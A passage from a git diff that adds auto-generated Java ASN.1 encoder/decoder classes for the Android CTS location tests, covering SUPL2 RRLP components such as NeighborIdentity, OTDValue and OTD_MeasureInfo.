+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NeighborIdentity != null) {
+ return ImmutableList.of(TAG_NeighborIdentity);
+ } else {
+ return tagToSelection.keySet();
+ }
+ }
+
+ /**
+ * Creates a new NeighborIdentity from encoded stream.
+ */
+ public static NeighborIdentity fromPerUnaligned(byte[] encodedBytes) {
+ NeighborIdentity result = new NeighborIdentity();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NeighborIdentity from encoded stream.
+ */
+ public static NeighborIdentity fromPerAligned(byte[] encodedBytes) {
+ NeighborIdentity result = new NeighborIdentity();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean hasExtensionValue() {
+ return extension;
+ }
+
+ @Override protected Integer getSelectionOrdinal() {
+ return selection.ordinal();
+ }
+
+ @Nullable
+ @Override
+ protected ChoiceComponent getSelectedComponent() {
+ return selection;
+ }
+
+ @Override protected int getOptionCount() {
+ if (hasExtensionValue()) {
+ return Extend.values().length;
+ }
+ return Select.values().length;
+ }
+
+ protected Asn1Object createAndSetValue(boolean isExtensionValue,
+ int ordinal) {
+ extension = isExtensionValue;
+ if (isExtensionValue) {
+ selection = Extend.values()[ordinal];
+ } else {
+ selection = Select.values()[ordinal];
+ }
+ element = selection.createElement();
+ return element;
+ }
+
+ @Override protected ChoiceComponent createAndSetValue(Asn1Tag tag) {
+ Select select = tagToSelection.get(tag);
+ if (select == null) {
+ throw new IllegalArgumentException("Unknown selection tag: " + tag);
+ }
+ element = select.createElement();
+ selection = select;
+ extension = false;
+ return select;
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Object getValue() {
+ return element;
+ }
+
+
+ private static enum Select implements ChoiceComponent {
+
+ $BsicAndCarrier(Asn1Tag.fromClassAndNumber(2, 0),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new BSICAndCarrier();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSICAndCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $Ci(Asn1Tag.fromClassAndNumber(2, 1),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CellID();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellID.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $MultiFrameCarrier(Asn1Tag.fromClassAndNumber(2, 2),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new MultiFrameCarrier();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? MultiFrameCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $RequestIndex(Asn1Tag.fromClassAndNumber(2, 3),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new RequestIndex();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? RequestIndex.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $SystemInfoIndex(Asn1Tag.fromClassAndNumber(2, 4),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new SystemInfoIndex();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SystemInfoIndex.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ $CiAndLAC(Asn1Tag.fromClassAndNumber(2, 5),
+ true) {
+ @Override
+ public Asn1Object createElement() {
+ return new CellIDAndLAC();
+ }
+
+ @Override
+ Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? CellIDAndLAC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ String elementIndentedString(Asn1Object element, String indent) {
+ return toString() + " : " + element.toIndentedString(indent);
+ }
+ },
+
+ ;
+
+ @Nullable final Asn1Tag tag;
+ final boolean isImplicitTagging;
+
+ Select(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ @Override
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Select template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ abstract Collection<Asn1Tag> getPossibleFirstTags();
+
+ abstract String elementIndentedString(Asn1Object element, String indent);
+ }
+
+
+
+ public boolean isBsicAndCarrier() {
+ return !hasExtensionValue() && Select.$BsicAndCarrier == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isBsicAndCarrier}.
+ */
+ @SuppressWarnings("unchecked")
+ public BSICAndCarrier getBsicAndCarrier() {
+ if (!isBsicAndCarrier()) {
+ throw new IllegalStateException("NeighborIdentity value not a BsicAndCarrier");
+ }
+ return (BSICAndCarrier) element;
+ }
+
+ public void setBsicAndCarrier(BSICAndCarrier selected) {
+ selection = Select.$BsicAndCarrier;
+ extension = false;
+ element = selected;
+ }
+
+ public BSICAndCarrier setBsicAndCarrierToNewInstance() {
+ BSICAndCarrier element = new BSICAndCarrier();
+ setBsicAndCarrier(element);
+ return element;
+ }
+
+
+
+ public boolean isCi() {
+ return !hasExtensionValue() && Select.$Ci == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCi}.
+ */
+ @SuppressWarnings("unchecked")
+ public CellID getCi() {
+ if (!isCi()) {
+ throw new IllegalStateException("NeighborIdentity value not a Ci");
+ }
+ return (CellID) element;
+ }
+
+ public void setCi(CellID selected) {
+ selection = Select.$Ci;
+ extension = false;
+ element = selected;
+ }
+
+ public CellID setCiToNewInstance() {
+ CellID element = new CellID();
+ setCi(element);
+ return element;
+ }
+
+
+
+ public boolean isMultiFrameCarrier() {
+ return !hasExtensionValue() && Select.$MultiFrameCarrier == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isMultiFrameCarrier}.
+ */
+ @SuppressWarnings("unchecked")
+ public MultiFrameCarrier getMultiFrameCarrier() {
+ if (!isMultiFrameCarrier()) {
+ throw new IllegalStateException("NeighborIdentity value not a MultiFrameCarrier");
+ }
+ return (MultiFrameCarrier) element;
+ }
+
+ public void setMultiFrameCarrier(MultiFrameCarrier selected) {
+ selection = Select.$MultiFrameCarrier;
+ extension = false;
+ element = selected;
+ }
+
+ public MultiFrameCarrier setMultiFrameCarrierToNewInstance() {
+ MultiFrameCarrier element = new MultiFrameCarrier();
+ setMultiFrameCarrier(element);
+ return element;
+ }
+
+
+
+ public boolean isRequestIndex() {
+ return !hasExtensionValue() && Select.$RequestIndex == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isRequestIndex}.
+ */
+ @SuppressWarnings("unchecked")
+ public RequestIndex getRequestIndex() {
+ if (!isRequestIndex()) {
+ throw new IllegalStateException("NeighborIdentity value not a RequestIndex");
+ }
+ return (RequestIndex) element;
+ }
+
+ public void setRequestIndex(RequestIndex selected) {
+ selection = Select.$RequestIndex;
+ extension = false;
+ element = selected;
+ }
+
+ public RequestIndex setRequestIndexToNewInstance() {
+ RequestIndex element = new RequestIndex();
+ setRequestIndex(element);
+ return element;
+ }
+
+
+
+ public boolean isSystemInfoIndex() {
+ return !hasExtensionValue() && Select.$SystemInfoIndex == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isSystemInfoIndex}.
+ */
+ @SuppressWarnings("unchecked")
+ public SystemInfoIndex getSystemInfoIndex() {
+ if (!isSystemInfoIndex()) {
+ throw new IllegalStateException("NeighborIdentity value not a SystemInfoIndex");
+ }
+ return (SystemInfoIndex) element;
+ }
+
+ public void setSystemInfoIndex(SystemInfoIndex selected) {
+ selection = Select.$SystemInfoIndex;
+ extension = false;
+ element = selected;
+ }
+
+ public SystemInfoIndex setSystemInfoIndexToNewInstance() {
+ SystemInfoIndex element = new SystemInfoIndex();
+ setSystemInfoIndex(element);
+ return element;
+ }
+
+
+
+ public boolean isCiAndLAC() {
+ return !hasExtensionValue() && Select.$CiAndLAC == selection;
+ }
+
+ /**
+ * @throws {@code IllegalStateException} if {@code !isCiAndLAC}.
+ */
+ @SuppressWarnings("unchecked")
+ public CellIDAndLAC getCiAndLAC() {
+ if (!isCiAndLAC()) {
+ throw new IllegalStateException("NeighborIdentity value not a CiAndLAC");
+ }
+ return (CellIDAndLAC) element;
+ }
+
+ public void setCiAndLAC(CellIDAndLAC selected) {
+ selection = Select.$CiAndLAC;
+ extension = false;
+ element = selected;
+ }
+
+ public CellIDAndLAC setCiAndLACToNewInstance() {
+ CellIDAndLAC element = new CellIDAndLAC();
+ setCiAndLAC(element);
+ return element;
+ }
+
+
+ private static enum Extend implements ChoiceComponent {
+
+ ;
+ @Nullable private final Asn1Tag tag;
+ private final boolean isImplicitTagging;
+
+ Extend(@Nullable Asn1Tag tag, boolean isImplicitTagging) {
+ this.tag = tag;
+ this.isImplicitTagging = isImplicitTagging;
+ }
+
+ public Asn1Object createElement() {
+ throw new IllegalStateException("Extend template error");
+ }
+
+ @Override
+ @Nullable
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return isImplicitTagging;
+ }
+
+ String elementIndentedString(Asn1Object element, String indent) {
+ throw new IllegalStateException("Extend template error");
+ }
+ }
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ private String elementIndentedString(String indent) {
+ if (element == null) {
+ return "null;\n";
+ }
+ if (extension) {
+ return Extend.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ } else {
+ return Select.values()[selection.ordinal()]
+ .elementIndentedString(element, indent + " ");
+ }
+ }
+
+ public String toIndentedString(String indent) {
+ return "NeighborIdentity = " + elementIndentedString(indent) + indent + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
new file mode 100755
index 0000000..3f9a013
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NonGANSSPositionMethods.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NonGANSSPositionMethods extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_NonGANSSPositionMethods
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NonGANSSPositionMethods() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NonGANSSPositionMethods;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NonGANSSPositionMethods != null) {
+ return ImmutableList.of(TAG_NonGANSSPositionMethods);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NonGANSSPositionMethods from encoded stream.
+ */
+ public static NonGANSSPositionMethods fromPerUnaligned(byte[] encodedBytes) {
+ NonGANSSPositionMethods result = new NonGANSSPositionMethods();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NonGANSSPositionMethods from encoded stream.
+ */
+ public static NonGANSSPositionMethods fromPerAligned(byte[] encodedBytes) {
+ NonGANSSPositionMethods result = new NonGANSSPositionMethods();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "NonGANSSPositionMethods = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java
new file mode 100755
index 0000000..005ed83
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NumOfMeasurements.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NumOfMeasurements extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_NumOfMeasurements
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NumOfMeasurements() {
+ super();
+ setValueRange("0", "7");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NumOfMeasurements;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NumOfMeasurements != null) {
+ return ImmutableList.of(TAG_NumOfMeasurements);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NumOfMeasurements from encoded stream.
+ */
+ public static NumOfMeasurements fromPerUnaligned(byte[] encodedBytes) {
+ NumOfMeasurements result = new NumOfMeasurements();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NumOfMeasurements from encoded stream.
+ */
+ public static NumOfMeasurements fromPerAligned(byte[] encodedBytes) {
+ NumOfMeasurements result = new NumOfMeasurements();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "NumOfMeasurements = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java
new file mode 100755
index 0000000..2223782
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTDValue.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class OTDValue extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_OTDValue
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTDValue() {
+ super();
+ setValueRange("0", "39999");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTDValue;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTDValue != null) {
+ return ImmutableList.of(TAG_OTDValue);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTDValue from encoded stream.
+ */
+ public static OTDValue fromPerUnaligned(byte[] encodedBytes) {
+ OTDValue result = new OTDValue();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTDValue from encoded stream.
+ */
+ public static OTDValue fromPerAligned(byte[] encodedBytes) {
+ OTDValue result = new OTDValue();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "OTDValue = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
new file mode 100755
index 0000000..e4b78dc
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_FirstSetMsrs.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+// AUTO-GENERATED TYPE ALIAS
+import android.location.cts.asn1.base.Asn1Tag;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+public class OTD_FirstSetMsrs extends OTD_MeasurementWithID {
+ private static final Asn1Tag TAG_OTD_FirstSetMsrs = Asn1Tag.fromClassAndNumber(-1, -1);
+ public OTD_FirstSetMsrs() {
+ }
+
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_FirstSetMsrs;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_FirstSetMsrs != null) {
+ return ImmutableList.of(TAG_OTD_FirstSetMsrs);
+ } else {
+ return OTD_MeasurementWithID.getPossibleFirstTags();
+ } }
+}
\ No newline at end of file
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
new file mode 100755
index 0000000..647bc37
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class OTD_MeasureInfo extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_OTD_MeasureInfo
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public OTD_MeasureInfo() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_OTD_MeasureInfo;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_OTD_MeasureInfo != null) {
+ return ImmutableList.of(TAG_OTD_MeasureInfo);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new OTD_MeasureInfo from encoded stream.
+ */
+ public static OTD_MeasureInfo fromPerUnaligned(byte[] encodedBytes) {
+ OTD_MeasureInfo result = new OTD_MeasureInfo();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new OTD_MeasureInfo from encoded stream.
+ */
+ public static OTD_MeasureInfo fromPerAligned(byte[] encodedBytes) {
+ OTD_MeasureInfo result = new OTD_MeasureInfo();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private OTD_MsrElementFirst otdMsrFirstSets_;
+ public OTD_MsrElementFirst getOtdMsrFirstSets() {
+ return otdMsrFirstSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a OTD_MsrElementFirst
+ */
+ public void setOtdMsrFirstSets(Asn1Object value) {
+ this.otdMsrFirstSets_ = (OTD_MsrElementFirst) value;
+ }
+ public OTD_MsrElementFirst setOtdMsrFirstSetsToNewInstance() {
+ otdMsrFirstSets_ = new OTD_MsrElementFirst();
+ return otdMsrFirstSets_;
+ }
+
+ private SeqOfOTD_MsrElementRest otdMsrRestSets_;
+ public SeqOfOTD_MsrElementRest getOtdMsrRestSets() {
+ return otdMsrRestSets_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfOTD_MsrElementRest
+ */
+ public void setOtdMsrRestSets(Asn1Object value) {
+ this.otdMsrRestSets_ = (SeqOfOTD_MsrElementRest) value;
+ }
+ public SeqOfOTD_MsrElementRest setOtdMsrRestSetsToNewInstance() {
+ otdMsrRestSets_ = new SeqOfOTD_MsrElementRest();
+ return otdMsrRestSets_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtdMsrFirstSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtdMsrFirstSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtdMsrFirstSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? OTD_MsrElementFirst.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otdMsrFirstSets : "
+ + getOtdMsrFirstSets().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getOtdMsrRestSets() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getOtdMsrRestSets();
+ }
+
+ @Override public void setToNewInstance() {
+ setOtdMsrRestSetsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfOTD_MsrElementRest.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "otdMsrRestSets : "
+ + getOtdMsrRestSets().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("OTD_MeasureInfo = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
new file mode 100755
index 0000000..5d0e3ed
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/OTD_MeasureInfo_5_Ext.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
